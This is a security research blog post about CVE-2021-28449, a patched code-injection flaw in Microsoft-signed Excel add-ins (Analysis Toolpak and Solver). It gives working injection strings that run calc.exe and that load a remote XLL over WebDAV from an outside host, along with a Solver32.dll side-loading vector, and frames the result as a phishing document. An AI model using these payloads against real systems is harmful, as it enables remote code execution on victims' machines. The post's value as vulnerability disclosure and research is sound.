This is the second part of our blog series in which we walk you through the steps of finding and weaponising other vulnerabilities in Microsoft signed add-ins. Our previous post described how a Microsoft-signed Analysis Toolpak Excel add-in (.XLAM) was vulnerable to code hijacking by loading an attacker controlled XLL via abuse of the RegisterXLL function.
In this post we will dive deep into a second code injection vulnerability in the Analysis Toolpak in relation to the use of the ExecuteExcel4Macro
function in a Microsoft-signed Excel add-in. Furthermore, we will show that the Solver add-in is vulnerable to a similar weaknesses with yet another vector. In particular, we will discuss:
During execution of the Analysis Toolpak, the Microsoft-signed and macro-enabled file ATPVBAEN.XLAM uses macros to load ANALYS32.XLL and registers the functions in this XLL file to be used in formulas in cells. In this process, a call is made to the ExecuteExcel4Macro
VBA function, passing a string that will be executed as Excel4 macro code. Part of this string is user controlled. Hence, it is possible to hijack the Excel4 macro execution flow and exploit it to run injected code.
Note: for full VBA source code, or to follow the exploitation steps along, you can download the original/vulnerable XLAM here (and run olevba to display the VBA code).
The vulnerable code snippet can be found below (note that ampersands are concatenations):
Private Sub RegisterFunctionIDs()
XLLName = ThisWorkbook.Sheets("Loc Table").Range(XLLNameCell).Value
Quote = String(1, 34)
For i = LBound(FunctionIDs) To UBound(FunctionIDs)
Dim StrCall
StrCall = "REGISTER.ID(" & Quote & AnalysisPath & XLLName & Quote & "," & Quote & FunctionIDs(i, 0) & Quote & ")"
FunctionIDs(i, 1) = ExecuteExcel4Macro(StrCall)
Next i
End Sub
RegisterFunctionIDs
, where the Analysis Toolpak XLL is registered using a call to ExecuteExcel4Macro
.XLLName
and AnalysisPath
point to cells and are not affected by VBA code signing.ExecuteExcel4Macro
.However, in practice this vulnerability is more difficult to exploit since the attacker-controlled input (cell contents) is already partly validated in the function VerifyOpen
, which gets called before RegisterFunctionIDs
.
Sub auto_open()
Application.EnableCancelKey = xlDisabled
SetupFunctionIDs
PickPlatform
VerifyOpen
RegisterFunctionIDs
End Sub
If the XLL was not successfully registered, the worksheet would have closed in the last line of VerifyOpen
, as shown in a simplified version of this function:
Private Sub VerifyOpen()
' Outflank: Removed many lines for readability
XLLName = ThisWorkbook.Sheets("Loc Table").Range(XLLNameCell).Value
' Outflank: Removed many lines for readability
XLLFound = Application.RegisterXLL(LibPath & XLLName)
If (XLLFound) Then
Exit Sub
End If
XLLNotFoundErr = ThisWorkbook.Sheets("Loc Table").Range("B12").Value
MsgBox (XLLNotFoundErr)
ThisWorkbook.Close (False)
End Sub
Fortunately, we can get around this: the VerifyOpen
function validates whether an XLL file exists on a given location, but does not validate whether there are ‘side effects’ in the path that could influence the execution within ExecuteExcel4Macro
. It should be noted that injecting a double quote (“
) is allowed in the input validation check, but will terminate the ‘Register’ Excel4 macro string. We can use this trick to inject calls to other Excel4 functions.
Since the call to RegisterXLL
may not result in XLLNotFoundErr
(input path should point to existing XLL on disk), we need to meet some conditions to hijack the Excel4 Macro code execution flow for weaponising this.
The RegisterXLL function interprets the input as a Windows path while ExecuteExcel4Macro interprets it as a string. RegisterXLL simplifies the given path and allows to hide code in a directory traversal:
Payload: Changed XLLName
cell B8 toLibrary\" & exec("calc.exe"), "\..\Analysis\ANALYS32.XLL
The exploit string is then injected into the target function as follows:
ExecuteExcel4Macro(REGISTER.ID("Library\" & exec("calc.exe"), "\..\Analysis\ANALYS32.XLL","…"))
The relative referencing of ANALYS32.XLL is possible because Excel also searches for the XLL in the Office installation path.
This PoC exploit string demonstrates the execution of local binaries from the system. It starts calc.exe. It can be used together with LOLBINS to create a dropper for persistency and/or gain remote code execution.
Now, to fully weaponise this, we want to execute a malicious remote XLL or PE executable.
To weaponise this for loading a remote XLL or to run a remote PE executable, we need some more building blocks / gadgets to bypass technical constraints. We developed various building blocks that allowed us to bypass the input validation:
REGISTER
function can load XLLs and is allowed to make WebDAV calls once the WebClient service is running.RUN
can be used for this purpose, pointing to a (empty) remote webDAV-hosted Excel document. The WebClient service will then be automatically stated on the victim machine if it was not yet running. Note: RUN
cannot load XLLs, that is why both functions are required.RUN
to an XLSX will open a new window on the victim machine while an XLAM loads the add-in in the current window. An empty XLAM (without macros) is used in our case.\..\
), it is possible to inject valid Excel4 macro code in a string that is interpreted as a path. The RegisterXLL
function as used in VerifyOpen
interprets the input as a Windows Path while ExecuteExcel4Macro
interprets it as a string. RegisterXLL
simplifies the given path and as such allows to hide code, and then discard the injected code via directory traversal. ..\
) to keep the relative reference valid. Double slashes are counted as one.RegisterXLL
, however
“,\
and .
are.VerifyOpen
check, it is required to point to an existing XLL. To target users with different MS Office versions and support both x64 and x86 install of Office, the following trick can be used:
\Library\Analysis\Analys32.xll
where Analys32.xll is always of the same bitness as the Office install.A Proof of Concept to start the WebClient service and load an XLL over WebDAV. The RUN command loads a remote empty xlam to enable WebDAV. The REGISTER command then loads a remote XLL. Simplified exploit:
Payload used in the image above: Change XLLName cell B8 to value:
Library\H" & RUN("'http://ms.outflank.nl/w/[x.xlam]s'!A1") & REGISTER("\\ms.outflank.nl\w\demo64.dat"), "\..\..\..\..\..\..\..\Analysis\ANALYS32.XLL
The exploit above, loads a remote XLL. However, the bitness (x64/x86) of the XLL should match the bitness of Excel.
Like in the previous blog post, we will create a formula to make sure that the correct bitness is used so that our exploit works for both x64 and x86.
The XLLName cell B8 could consist of a formula concatenating three cells together (i.e. C7 & C8 & C9
), in this order:
Library\H" & RUN("'http://ms.outflank.nl/w/[x.xlam]s'!A1") & REGISTER(" |
= "\\ms.outflank.nl\w\demo" & IF(ISERROR(SEARCH("64";INFO("OSVERSION"))); "32"; "64") & ".dat" |
"), "\..\..\..\..\..\..\..\Analysis\ANALYS32.XLL |
The resulting document effectively exploited all recent versions of MS Office (x86+x64) prior to the patch, for any Windows version, against (un)privileged users, without any prior knowledge of the target environment. Furthermore, as shown in the previous blog post, it was possible to change the filetype to xlsm and xls. Plus, the certificate was already installed as trusted publisher in some cases. An ideal phishing document!
In the default MS Office install, there is another add-in which is vulnerable to a very similar abuse. The Solver.xlam file provides functionality to find optimal values under specific constraints.
The solver add-in is implemented as an XLAM that loads a file named Solver.dll in VBA code and uses the function ExecuteExcel4Macro
with contents that are partly attacker-controlled.
In this case, the VBA macro uses a private declare to reference external procedures in a DLL.
Private Declare PtrSafe Function Solv Lib "Solver32.dll" (ByVal object, ByVal app, ByVal wkb, ByVal x As Long) As Long
This can be abused by delivering solver.xlam alongside an attacker controlled file named ‘Solver32.dll’ in the same directory (e.g. in a zip). External references in signed code are yet another vector that can result in “signature abuse” for code execution.
Furthermore, ExcecuteExcel4 macro’s are being called on possible attacker/user controlled input.
GetName = Application.ExecuteExcel4Macro("GET.DEF(" & Chr(34) & Application.ConvertFormula(Range(the_address).Address, xlA1, xlR1C1) & Chr(34) & "," & Chr(34) & GlobalSheetName & Chr(34) & ")")
Microsoft also addressed these instances in their April patch.
Microsoft acknowledged the vulnerability, assigned it https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28449 and patched it 5 months after our vulnerability notification.
As explained in the previous blog post, new validations were introduced to limit the loading of unsigned XLLs from a signed context. This would block the WebDAV XLL loading. However as demonstrated in this blog, there are other mechanisms to execute code that are not blocked by this.
We have not fully reversed the Excel patch, but based on behavior of Excel when opening the new (after patch) and old (before patch) files, we believe the following has been implemented to mitigate further abuse:
Trying to load the vulnerable, old XLAM (or XLA) on a patched Office installation, will now result in the following Security Notice without option to execute anyway:
This was a nice journey into another obscure area of MS Office. Achievements: a new security registry setting, a new warning dialogue and someone at Microsoft writing legit Excel4 macro code in 2021.
With this blog series we hope to have inspired you to do your own research into features which exist in MS Office for decades, but have largely been unexplored by security researchers. Such archaic features of MS Office can be a true gold mine from an offensive perspective.
For questions and comments, please reach out to us on Twitter @ptrpieter and @DaWouw.